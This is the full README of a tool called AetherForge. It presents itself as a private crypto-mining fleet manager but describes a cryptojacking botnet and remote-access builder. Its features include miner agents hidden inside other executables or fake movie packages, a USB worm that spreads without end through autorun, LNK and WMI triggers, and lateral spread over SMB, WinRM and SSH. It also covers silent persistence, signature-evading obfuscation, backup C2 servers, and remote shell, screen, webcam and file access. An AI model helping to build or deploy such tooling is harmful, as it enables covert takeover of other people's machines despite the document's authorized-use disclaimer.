AetherForge

Private Monero + Ravencoin fleet command deck for machines you own.

One control PC. One dashboard. Forge silent workers for Windows, Linux, and macOS — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck.

No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.

---

  ┌─────────────────────────────────────────────────────────────────────┐
  │  CALIBRATE (Settings)   pool · wallet · users · Telegram alerts     │
  │           │                                                         │
  │           ▼                                                         │
  │  FORGE (Builder)        XMR worker · RVN GPU worker · Fusion        │
  │           │                                                         │
  │           ├──► Prep fusion      embed worker in your own .exe       │
  │           ├──► Movie fusion     locked media + runner + ZIP         │
  │           ├──► USB Propagation  auto-spreads to every USB drive     │
  │           └──► LAN Spread       SMB / WinRM / SSH lateral install   │
  │                                                                     │
  │  WORKER PC              RandomX CPU · KawPoW GPU · WebSocket home   │
  │                         → installs → mines → USB-spreads → phones   │
  │                                                                     │
  │  COMMAND DECK           live stats · 3D map · Crucible · roster     │
  └─────────────────────────────────────────────────────────────────────┘

---

What This Is

AetherForge is a self-hosted mining control plane — not a cloud pool UI, not a generic miner wrapper.

Layer	What it does
Control server	Go backend on port 8989 — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool
Command deck	React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field wiki at /docs/
Worker agent	Cross-platform binary (Windows / Linux / macOS / Android APK fleet node) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry
Fusion (prep)	Bundler — hides the worker inside your uploaded prep.exe, same icon, single deliverable
Fusion (movie)	Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders
Forge	Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags

You configure defaults once in Calibrate. You forge once per target profile in Forge. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.

Android APK fleet nodes embed the same Go worker inside an APK; the Java wrapper sets AETHERFORGE_SERVER_URL, AETHERFORGE_WORKER_NUMBER, and AETHERFORGE_PLATFORM=android before spawn. They register as platform=android in the fleet roster (🤖 icon in Crucible), report Wi-Fi / battery / foreground-service probes in Access Depth, and use a shortened mining onion (foreground service → in-process CPU) instead of the full desktop tier chain.

---

What You Get

Command Deck (Dashboard)

• Sign-in gate — HTTP Basic auth; session persisted until tab is closed; transport blips keep saved credentials with a degraded banner (distinct from 401 logout)
• Re-forge guard — confirmation prompt before re-running a saved blueprint compile
• Download resilience — authed file/log/backup downloads use extended timeouts (5–10 min) with clear AbortError messaging
• Live fleet hashrate, CPU/RAM gauges, share feed
• Fleet Health Score — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
• Contribution Map — per-agent hashrate bars with USD/day estimates when XMR price is loaded
• Underperformer list — machines below 70% of fleet median with one-click "Restart All"
• OS / Arch Breakdown — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
• LAN Group View — agents grouped by /24 subnet; aggregated hashrate per segment
• XMR price — server-side CoinGecko fetch, 10-minute cache
• Earnings Estimator — XMR/day formula + live SupportXMR data; USD/day and time-to-payout
• 3D fleet topology map — agents orbiting the server node (React Three Fiber)
• Monero section — CPU hashrate gauges, share feed, pool status, per-rig breakdown
• Ravencoin section — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
• Pool connection status and AI activity panel (Advanced mode)
• Matrix stream overlay with mystic word drops (Advanced mode)
• Install funnel — agents per build/worker over 7 days, new connects today, USB-spread flag
• Operator audit strip — last operator actions (forge, commands, config save, secret rotate)

Fleet Roster (Agents)

• Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge
• Compact rows — click to expand inline details and compact remote action strip
• Fleet Groups — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting
• Remote control panel — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button
  • Mining ops: pause / resume / restart miner
  • Recon: sysinfo, list processes, network scan, DNS config, listening ports
  • System: Reboot, Shutdown, Wake-on-LAN (sends UDP magic packet to agent's MAC address)
  • Screen: Screenshot (desktop), Live view (3s slideshow while tab focused), and Camera (USB/built-in webcam via camera_snapshot; Windows/Linux agents need ffmpeg on PATH)
  • File browser — list_dir / read_file (512 KB cap) / upload / download in Crucible when one node is selected (Windows agents)
  • Admin: PowerShell terminal, file upload, uninstall
• Live stats ticker — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
• Auto-sysinfo — system info is fetched immediately when you select an agent
• Offline banner — controls disabled with a clear OFFLINE badge when agent is not connected

Forge (Miner Builder)

• Target OS — Windows, Linux, macOS, or Universal (all platforms in one ZIP)
• Spread Kit — non-fusion ZIP with Deploy.bat / deploy.sh / Start.command → silent --spread-install
• Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
• Blueprint save/load — re-forge the same profile across machines
• Build manager — download, paths, LAN QR for worker URL
• Prep fusion — upload prep.exe, run order (parallel / prep_first / worker_first), Garble obfuscation, Authenticode / osslsigncode signing
• Universal / spread-kit signing — sign_build applies to spread-kit workers and universal-fusion runners (not just single-platform exes)
• Build size limits — universal ZIP, spread-kit, and fusion outputs enforce checkBuildSizeFile before dispense
• Fusion obfuscation — launcher compile respects shouldObfuscate / garble flags (not just the worker binary)
• Dropper bundles — /get resolves DownloadURL artifacts; PS1 ZIP handler tries start.bat / deploy.bat fallbacks
• Movie fusion — upload .mp4 / .mkv / .mov; embedded or paired delivery modes
• Batch forge — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
• Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
• Backup pools (advanced) — fallback Stratum pool list baked into the agent
• Backup server URLs (advanced) — fallback C2 addresses baked into the agent
• USB Propagation — enables perpetual USB self-spread chain (see below)
• Share Spread — auto-copy to mounted network shares + WinRM lateral install
• LAN Auto-Spread — SMB admin$ / SSH lateral movement gated behind C2 auth

Ravencoin GPU Mining

Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime:

GPU vendor	Miner	Algorithm
NVIDIA (CUDA)	T-Rex	KawPoW (RVN)
AMD (OpenCL)	TeamRedMiner	KawPoW (RVN)

• Agent downloads and silently launches the appropriate miner binary
• Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw
• RVN address and pool baked at forge time; RVN pool presets available in the Forge UI
• Dashboard shows dedicated Ravencoin section separate from Monero CPU stats
• CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently

Emberwake (spread / waterhole)

• Dashboard tab /emberwake — campaign link builder, A/B ?pin= rotation, spread-kit ZIP export, shared operator notes (WebSocket sync)
• Public builds — login page drawer + GET /api/v1/public/builds / GET /api/v1/public/download/{id} (pinned + public-flagged + latest 3; or all when server.public_builds_enabled)
• Waterhole kit — spread-kit-web-publisher/ static templates; customize via POST /api/v1/builder/spread-kit-export (auth)
• Campaign tracking — ?c=slug on /get, /install.ps1, /install.sh, /install.command; agents report AETHER_CAMPAIGN on connect
• Forge simple mode — spread profile chips: Web Drop, Desktop Fusion, LAN Kindling, Crucible Ops

USB Perpetual Self-Propagation

Enable USB Propagation in the Forge. The baked binary:

1. Spreads within 8 seconds of any USB drive being plugged in (also checks drives already present at startup)
2. Drops the agent binary into a hidden system-looking folder (~RECYCLER, System Volume Information, etc.)
3. Writes an autorun.inf (legacy trigger), a folder-icon LNK shortcut (Win8+), and a visible SETUP.BAT fallback
4. Creates a plausible decoy folder (Documents / Photos / etc.) so the drive looks natural
5. Installs a persistent WMI event subscription that fires on every future USB mount — survives reboots
6. Refreshes the payload automatically when the agent binary is updated (size check)

On the next PC, when the USB exe runs via LNK or SETUP.BAT:

• InstallIfNeeded detects it's running from removable media
• Silently copies to %LOCALAPPDATA%, sets up scheduled task / registry autostart
• Original process exits; installed copy starts and also watches for USB drives
• Chain never ends — every new infected PC propagates to every USB it sees

Crucible (Command Terminal)

• LOTL Timeline (/onion) — live 14-tier spread progression per agent with fleet progress bars
• Select one or many agents (or entire Fleet Groups) as targets
• Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
• Gold rain effect — matrix overlay switches to gold flurry when a single agent is active in the Crucible
• Real-time command output streamed back to the terminal

Matrix Digital Rain

• Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
• Gold flurry mode activates in the Crucible when one machine is being manipulated
• Heavy gold rain identical to Forge progress animation

Wake-on-LAN

• Agent reports its primary MAC address to the server on auth
• MAC stored in the fleet database
• Fleet Roster Wake button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
• Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)

Telegram & fleet notifications (Calibrate)

Configure once under Calibrate → Alert Notifications:

Field	What to enter
Telegram Bot Token	From @BotFather
Telegram Chat ID	Your numeric user ID (from @userinfobot) — not the bot’s ID
Notify me when…	Per-event checkboxes (all on by default)

Events that can ping Telegram (and optional SMTP email):

Event	When it fires
New agent connects	First time a worker joins the fleet
Agent reconnects	Back online or replaces an active session
Agent offline	Past Offline After (minutes) threshold
Hashrate drop	Below Hashrate Drop % vs baseline
Rejection spike	Bad shares above Rejection Rate %
Forge complete	Any successful build (exe, spread kit, fusion ZIP)

Use Send test notification after Save Calibration to verify delivery. Thresholds live in Fleet Alerts on the same page.

Security: Never paste bot tokens in chat or commit them. Store only in data/config.json (gitignored).

Fleet task scheduler (Calibrate)

Under Calibrate → Fleet Tasks, schedule remote actions: on_connect, on_reconnect, interval_hours, or daily cron (HH:MM). Actions include sysinfo, full_sys_check, powershell, exec, pause, resume, restart.

Operator audit log

Records forge builds, agent commands, config saves, fleet secret rotation, and task edits. Visible on Dashboard and Calibrate; GET /api/v1/audit.

Forge connection profile (Advanced)

Bake beacon interval, beacon jitter %, and kill-after-days (0 = never) into workers for reconnect timing and optional self-destruct.

Agent stubs (not shipped)

• bof_execute — returns an error; in-memory BOF execution is disabled.

Forge hardening & dispense UX

• Sigil scramble (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior
• Garble + polymorph + optional Authenticode signing — layered static-signature variation
• Dispense Reveal — full-screen success ceremony with stealth index, binary DNA fingerprint, and download

CISA KEV exposure scan (defensive)

Full System Check includes a read-only CISA KEV pass aligned with CISA’s top exploited vulnerabilities (Log4Shell, ProxyLogon/Exchange, Zerologon on DCs, Citrix ADC, Pulse Secure, F5 BIG-IP, Confluence, ManageEngine, Fortinet, PrintNightmare, VMware vCenter, etc.).

What it does	What it does not do
Detects installed stacks, services, stale patching, and risky roles on your fleet	Does not exploit or weaponize CVEs
Surfaces exposed / likely / clear per CVE family in the sys check panel	Does not replace formal vuln scanning (Tenable, etc.)
Optional Telegram ping when critical indicators fire (Calibrate → KEV exposure)	Heuristics only — verify with vendor patches

Run Full Sys Check from Fleet Roster or Crucible on Windows agents for the full KEV block.

Fleet ops (recent)

• Protocol Tunneling — Cloudflare outbound tunnel, SSH local forward (Windows), WireGuard via Path Tracer; tunnel_status / tunnel_stop on owned fleet nodes (Fleet Roster + Crucible)
• Full system check — remote posture snapshot (AV, firewall, disk, DNS, ports, KEV exposure) from Fleet Roster or Crucible
• Desktop push — deploy files to @desktop/ on workers
• BITS persistence / host binary run modes (Windows, advanced Forge)
• Boot / logon autostart — Forge autostart_mode (registry Run, Startup folder, ONSTART/ONLOGON tasks)
• Path Tracer — multi-hop WireGuard path builder (dashboard page); peer topology fixed — hop 1 gets client peer (10.66.0.1/32), multi-hop adds reverse peers on middle/exit hops; sessions auto-expire after 2h
• Protocol tunneling — operator-facing reach-through on owned fleet (see below)
• Haptic sound + glow particles — optional UI feedback (Settings)

Protocol tunneling (MITRE ATT&CK mapping — honest scope)

AetherForge exposes legitimate operator tunneling for machines you administer — not covert C2 evasion.

MITRE technique	AetherForge feature	Scope
T1572 Protocol Tunneling	Cloudflare outbound (tunnel_cloudflared), SSH local forward (tunnel_ssh_forward), WireGuard mesh (Path Tracer)	Reach internal hosts / expose agent LAN services on your fleet
T1071 Application Layer Protocol	Existing WebSocket C2 + optional Cloudflare tunnel to dashboard	Standard HTTPS/WSS to your control server

Not built: DNS-over-HTTPS resolution evasion, SOCKS pivot, SMB tunneling, or features marketed to bypass network filtering.

Commands: tunnel_cloudflared, tunnel_wireguard, tunnel_ssh_forward, tunnel_status, tunnel_stop (legacy: start_tunnel).

Calibrate: tunnel_defaults.cloudflared_target_url defaults from server.public_url. Cloudflare Tunnel Token (Zero Trust connector) is saved to config.json and data/cloudflared-token.txt; the server starts cloudflared tunnel run --token … on launch. Portable USB: pack-usb.bat seeds a default connector token in usb/data/cloudflared-token.txt so LAUNCH.bat works out of the box — replace with your own token in Calibrate or edit that file. LAUNCH.bat starts cloudflared first and sets AF_TUNNEL_EXTERNAL=1 so the server skips a duplicate spawn. In Cloudflare, point the tunnel service to http://localhost:8989 (or your listen port from data/config.json).

Future (not implemented): server-side TCP reverse relay via tunnel_stream WebSocket — documented for localhost dashboard testing only.

---

Quick Start

Requirements: Windows 10/11 on control PC. Outbound internet to your pool.

1. Double-click devrun.bat in the project root. Installs Go/Node if missing, builds the dashboard, compiles bin\miner-server.exe, copies web assets, and starts the server.

2. Browser opens http://localhost:8989

3. Sign in — first run: check the console window for admin and comrade passwords (both auto-created)

4. Calibrate → wallet + pool + public URL; optional Telegram bot token + chat ID for fleet pings

5. Forge → worker name · server URL (http://YOUR-LAN-IP:8989 or tunnel) · target OS · enable GPU / USB spread as needed → Forge Installer

6. Run the forged .exe once on each worker PC (or distribute via movie ZIP / USB)

7. Watch them appear on Command Deck and Fleet Roster

First-run login

=== First Run ===
Dashboard logins (random passwords on first run):
  admin   — primary operator
  comrade — second account (created at startup if missing)
Saved in data/login-credentials.json. Change passwords in Calibrate → Users.
=================

Credentials stored in data/users.json (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under Calibrate → Users.

Auth surface

Surface	Mechanism
/api/v1/* REST	HTTP Basic Auth
/ws/dashboard	POST /api/v1/auth/ws-ticket → one-time ?ticket= (2 min); legacy ?token= fallback
/ws/agent	Fleet-secret auth JSON frame
/api/v1/agent/*	X-Fleet-Secret: <secret> header (includes /agent/beacon, /agent/beacon/result)
Static SPA + /api/v1/health	Open (no auth)

---

Portable USB (AetherForge on a stick)

Run pack-usb.bat from the project root. It:

1. Builds the frontend and compiles AetherForge.exe
2. Copies webroot, agent source, fusion source, and the Go toolchain into usb\
3. Creates data\ directories with a starter config.json
4. Syncs LAUNCH.bat

Copy the entire usb\ folder to a USB drive. On any Windows PC, double-click LAUNCH.bat → Cloudflare tunnel sidecar starts, then AetherForge.exe → dashboard opens at http://localhost:8989 (or the port in data/config.json).

LAUNCH.bat reads port from data/config.json for display but launches without -port so config file wins over any CLI default. Bundled Go toolchain lives in usb/toolchain/; garble and go-winres install on first run if missing.

After any code change, run pack-usb.bat from the repo root (it runs npm run build, copies server/web/dist → usb/webroot, compiles AetherForge.exe, syncs agent/fusion source and LAUNCH.bat). The USB bundle is not updated automatically.

Note: This is the control deck portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.

---

Output Locations

Artifact	Where
Forged agent exe	Project root (e.g. install-worker.exe)
Movie fusion per title	fusion-deliverables/<Title>/ + Title-package.zip
Archive copy	data\builds\{build-id}\
Uninstall script	Same build folder + download API
Server config	data\config.json
Fleet database	data\miner.db
Dashboard build (source)	server\web\dist\
Dashboard build (served)	server\webroot\

---

Network Deployment

Scenario	Server URL in Forge
Same LAN	http://192.168.x.x:8989
Cloudflare / reverse tunnel	https://your-domain.com

Workers auto-convert http(s):// → ws(s)://.../ws/agent. Workers only need outbound access to your control URL.

Do not expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.

C2 transport (owned fleet)

Legitimate MITRE T1071 Application Layer Protocol usage for machines you administer — not covert DNS/SMTP/FTP tunneling.

Layer	Protocol	When
Primary	WebSocket wss://…/ws/agent (T1071.001)	Normal operation — live stats, jobs, remote commands
Fallback	HTTPS POST /api/v1/agent/beacon + POST …/beacon/result (T1071.001)	After WebSocket is down for N minutes (Forge: HTTPS beacon fallback, default on when backup URLs are set)
Backup hosts	Same APIs on backup_server_urls	Round-robin when primary C2 is unreachable
Operator alerts	Telegram + optional Calibrate webhook_url JSON POST (T1071.005 lite)	Connect / offline / threshold events — server-side only

Forge Connection Profile → enable HTTPS beacon fallback and set minutes before fallback (default 3). Fleet secret is sent as X-Fleet-Secret on beacon routes (same as other /api/v1/agent/* endpoints).

Test fallback: block outbound WebSocket to the control host (firewall rule on 8989/443 for ws only, or deny /ws/agent at the reverse proxy) while leaving HTTPS API open — agent should log HTTPS beacon and the dashboard should still receive stats/commands via beacon polling.

Diagnostic: remote command connectivity_probe (or startup log line) reports DNS + TCP reachability to C2 and pool hosts — diagnostic only, not a C2 channel.

---

Agent Silence

Every agent operation is completely silent — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules).

Category	Mechanism
Process launch	CREATE_NO_WINDOW + DETACHED_PROCESS syscall flags on all child processes
Persistence	Scheduled task / registry run key — no user-visible installer
Registry persistence (Forge)	Optional HKCU/HKLM Run, RunOnce, Explorer Policies Run — value AetherForge_{worker}; uninstall removes only agent-created keys
Boot / logon autostart	Optional Forge autostart_mode: HKCU Run, Startup folder shortcut, ONSTART (boot) or ONLOGON tasks — applied on install and self-heal
Fleet registry ops	registry_read / registry_write / registry_delete on administered Windows agents (allowlisted paths)
Mining	XMRig / T-Rex / TeamRedMiner run fully hidden
WMI triggers	PowerShell executed with -WindowStyle Hidden
Spread installs	--run flag relaunches silently with detached start
Fusion decoy	Only the decoy file (movie/prep) opens visibly — agent stays hidden

---

LOTL triple onion architecture

AetherForge chains recon → deploy → mining using living-off-the-land tiers only (no third-party droppers in the default preset). Forge LOTL Onion bakes spread contingencies; the agent pulls live tier order from Calibrate on connect.

flowchart LR
  R[Recon<br/>vuln_recon · service_probe] --> G{patch_first / risk gates}
  G -->|defer| X[Skip deploy or mining]
  G -->|proceed| D[Deploy lanes<br/>discover_and_join → bits_curl → smb → winrm]
  D --> M[Mining tiers<br/>container → inprocess → gpu → stratum_direct]
  M --> T[Telemetry<br/>lotl_tier · lotl_attempts · mining_hashrate]

Sequential tier attempts: try tier → on fail/skip → next tier until success or exhaustion (lotl_attempts audit trail).

Full glossary (every vector, definition, copy-paste example): tests/README.md · Spread playbook: /docs/SPREAD_TECHNIQUES.html · Recon test subset: scripts/test-suite.ps1 -ReconOnly

---

Project Layout

crypto miner/
├── devrun.bat                  ← one-click build + launch (dev)
├── pack-usb.bat                ← build portable AetherForge USB bundle
├── run.bat / start.bat         ← aliases → devrun.bat
├── test.bat                    ← full test suite → scripts/test-suite.ps1
├── LAUNCH.bat                  ← portable/USB launch script
├── scripts/
│   ├── test-suite.ps1          ← Go + web + build + Playwright E2E
│   ├── smoke-test.ps1          ← API matrix B-01–B-10
│   ├── ci-docker-mining.sh     ← Docker Linux agent hashrate proof (CI + Linux)
│   ├── ci-docker-mining.ps1    ← same proof on Windows + Docker Desktop
│   └── e2e-validate.ps1        ← mining + CI + VM payload checklist
├── bin/
│   └── miner-server.exe
├── data/                       ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/        ← per-title movie fusion output (gitignored)
├── usb/                        ← portable USB server bundle (output of pack-usb.bat)
├── server/
│   ├── main.go
│   ├── webroot/                ← production UI (copied from web/dist)
│   ├── web/                    ← React command deck (Vite + TypeScript)
│   └── internal/
│       ├── api/                ← HTTP routes, WebSocket, auth, fleet, WOL
│       └── builder/            ← forge + fusion pipeline
├── agent/                      ← worker source (Forge compiles per OS/arch)
│   ├── client/                 ← WebSocket client, command handler, GPU miner, screenshot
│   ├── deploy/                 ← install, persistence, watchdog, passive spread, firewall
│   └── config/                 ← builtin config baked at forge time
├── fusion/                     ← prep + movie runner source
├── tests/README.md             ← test phases, E2E env vars
├── docs/E2E_VALIDATION.md      ← secure payload validation playbook
├── PROBLEMS.md                 ← known issues (severity-ranked)
└── README.md                   ← you are here

---

API Surface

Method	Path	Purpose
GET	/api/v1/health	Health check (no auth)
POST	/api/v1/auth/ws-ticket	Issue one-time dashboard WebSocket ticket (Basic auth)
GET/PUT	/api/v1/config	Calibrate settings
POST	/api/v1/builder/build	Forge worker / fusion (multipart)
GET	/api/v1/builds	List builds
GET	/api/v1/builds/{id}/download	Download forged exe
GET	/api/v1/builds/{id}/artifact/{name}	Extra artifacts (ZIP, README, …)
GET	/api/v1/agents	Fleet list
POST	/api/v1/agents/{id}/command	Remote action (pause, reboot, screenshot, …)
POST	/api/v1/agents/{id}/wol	Send Wake-on-LAN magic packet
POST	/api/v1/agents/bulk-command	Send command to multiple agents
GET	/api/v1/alerts	Active fleet alerts
POST	/api/v1/alerts/test	Test Telegram / SMTP (no real alert raised)
GET	/api/v1/pools/status	Stratum pool connection states
GET	/api/v1/earnings/estimate	XMR/day estimate
GET	/api/v1/market/xmr	XMR/USD spot price (CoinGecko, 10 min cache)
GET	/api/v1/audit	Operator audit log (last 50)
GET/PUT/DELETE	/api/v1/fleet-tasks	Scheduled fleet tasks
GET	/api/v1/dashboard/spread-funnel	Install funnel stats (7d)
WS	/ws/agent	Worker connection
WS	/ws/dashboard?ticket=<one-time>	Live dashboard feed (legacy ?token= still accepted)

Full route list: server/internal/api/router.go

---

Cross-Platform Workers

OS	CPU miner	GPU miner	Persistence	Install base
Windows	XMRig (RandomX)	T-Rex / TeamRedMiner (KawPoW)	Registry + scheduled task	%LOCALAPPDATA%
Linux	XMRig	—	systemd user service	XDG data home
macOS	XMRig	—	LaunchAgent	~/Library/Application Support

Mesh P2P: Enable Mesh Networking in Forge to bake peer routing (-tags p2p). Relay writes go through AgentClient.mu; MeshNode.Stop() tears down mDNS/host. Default builds use a no-op stub.

LAN spread: Shared deploy/subnet.go — IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in spread entrypoints.

---

Movie Fusion (detailed)

Mode	Best for	What you get
Embedded (Option A)	Clips / smaller files (~500 MB)	One disguised file (Title.mkv.exe) with movie + hidden worker
Paired (Option B)	Full films (up to 2 GiB)	Per-title folder under fusion-deliverables/<Title>/

Paired layout:

fusion-deliverables/Vacation/
├── README.txt              ← instructs user to run the runner for "enhanced 4K"
├── Vacation-runner.exe     ← decrypts & plays; worker hidden inside runner
├── Vacation.mkv.cmdata     ← encrypted media (hidden)
└── Vacation.mkv.lnk        ← shortcut → prompts for runner

---

Manual Build

cd server\web
npm install
npm run build

cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\

cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .

cd ..
bin\miner-server.exe -port 8989 -data .\data

Run the test suite

test.bat

Or run scripts\test-suite.ps1 directly. Set AETHERFORGE_E2E_USER / AETHERFORGE_E2E_PASS if your data\users.json is not the default test credentials.

With the server running, run scripts\smoke-test.ps1 for the REST API matrix (B-01–B-10).

CI Docker mining proof (Linux agent)

Proves the isolated Docker stack: server healthy, docker-e2e-linux online, hashrate > 0. Uses test wallet + fleet secret from docker/data/ (see docker/README.md). Runs on every push via GitHub Actions (.github/workflows/ci-docker-mining.yml).

# Linux / macOS / CI
scripts/ci-docker-mining.sh

# Windows + Docker Desktop
.\scripts\ci-docker-mining.ps1

Manual compose only (script still asserts + tears down):

docker compose -f docker/docker-compose.yml up --build -d
scripts/ci-docker-mining.sh

Secure local payload validation

Full Windows payload tests (spread, screenshot, GPU, persistence) need a disposable Hyper-V/VMware Windows VM — not Docker Windows containers. Automated mining/C2 regression stays on the host.

.\scripts\e2e-validate.ps1              # Tier 0–1 + VM checklist
.\scripts\e2e-validate.ps1 -PrepareOnly # isolated data-e2e\ + instructions

Playbook (tier matrix, Crucible checklist, log paths, snapshot teardown): docs/E2E_VALIDATION.md.

Dashboard dev server

cd server\web
npm run dev

Vite proxies /api and /ws to localhost:8989.

Tech stack (dashboard)

Package	Version
React	18.x
@react-three/fiber	8.x
@react-three/drei	9.x
Vite	5.x

@react-three/fiber v9 requires React 19. With React 18 the app fails to mount (blank screen). package.json pins compatible versions.

---

Under the Hood

• Data dir resolution — portable LAUNCH.bat passes -data; mergeConfig merges server.fleet_secret and tunnel_defaults; listen port comes from data/config.json (CLI -port does not override saved config)
• Cloudflared dedupe — server skips starting cloudflared when AF_TUNNEL_EXTERNAL=1 or an external cloudflared.exe is already running
• Stratum proxy — workers submit through your server; one upstream connection per wallet/host + PaymentID in pool key (no integrated-address collisions)
• Stratum fallback — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
• WebSocket hub — agents and dashboard share live stats, jobs, alerts, and screenshots
• Fleet secret — random token baked into every forged agent; rejected if it doesn't match
• MAC address collection — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
• Hashrate reporting — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
• Process guard — Unix pgrep fix: matches only the agent binary (no false-positive self-kill)
• Miner engine — HashAtNonce returns explicit errors (ErrEngineNotReady, ErrBlobTooShort) instead of silent empty hashes
• ARP-first subnet scan — autospread reads OS ARP cache before falling back to full /24 port sweep
• Ollama AI autonomy (optional) — server-side LLM decides restart / persistence / tunnel actions
• Garble obfuscation — strips symbols and randomises identifiers in compiled agents
• Sigil scramble — post-forge uniquification of each dispensed binary
• Telegram notifier — configurable per-event pushes from agent connect, health thresholds, and forge complete
• Cross-platform code signing — signtool on Windows, osslsigncode on Linux/macOS
• Server-side forge cancel — each build tracked by UUID; DELETE /api/v1/builder/cancel/{token} kills the compiler
• Retention jobs — auto-purge old hashrate samples and stale build artifacts
• Screenshot buffering — server buffers base64 JPEG frames per agent; dashboard screenshot command downloads instantly

---

Troubleshooting

Symptom	Likely cause	Fix
Black screen, empty page	Stale service worker or React/R3F version mismatch	Hard refresh (Ctrl+Shift+R); clear site data; npm install && npm run build; copy dist → webroot; restart server
Login loop / 401	Wrong password or missing users.json	Check console for first-run password; delete data/users.json and restart
Dashboard builds but server shows placeholder HTML	Missing server/webroot/index.html	Run devrun.bat or copy server/web/dist/* → server/webroot/
Forge upload fails	File > 2 GiB	Use paired mode + compress, or embedded for smaller sources
Workers never appear	Wrong server URL / firewall	Use LAN IP in Forge; open port 8989 on control PC
GPU miner doesn't start	No CUDA/OpenCL or binary download failed	Check agent log; ensure outbound internet from worker; verify GPU drivers
WOL doesn't wake machine	BIOS WOL disabled or different subnet	Enable WOL in BIOS; direct broadcast works on same /24 only
USB payload not spreading	USBSpread not enabled at forge time	Re-forge with USB Propagation checked
Screenshot download is empty	Agent offline or screenshot command not sent	Ensure agent is online; check Fleet Roster terminal for errors

---

Known Issues

See PROBLEMS.md for a severity-ranked audit. Check there before production use on a large fleet.

---

⚠ LEGAL & FAIR USE WARNING

Read this before you deploy anything.

Authorized use only

AetherForge is designed and intended for computers and networks you own or explicitly administer — your home lab, your office fleet, machines where you have authority to install software and consume CPU/GPU resources.

By using this software you agree that:

1. You will only deploy workers on systems you control or have written permission to manage.
2. You will not install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
3. You will not use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware.
4. You are solely responsible for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.

What this is NOT

• Not a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
• Not malware — but misuse can make it indistinguishable from malware under law and AV heuristics.
• Not anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic.

Security responsibility

• data/users.json stores bcrypt hashes only. First-run generates random passwords for admin and comrade (shown once in the console and data/login-credentials.json). Existing decks gain comrade automatically on the next server start if that account is missing.
• Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
• Remote command features (powershell, exec, file upload) are full control of a worker.
• Code signing, Defender exclusions, and network segmentation are your responsibility.

Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY.

If you cannot accept these terms, do not run AetherForge.

---

License

Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via git.gammaspectra.live/P2Pool/go-randomx.

---

AetherForge — LAN MINING COMMAND
_{Calibrate · Forge · Deploy · Spread · Command}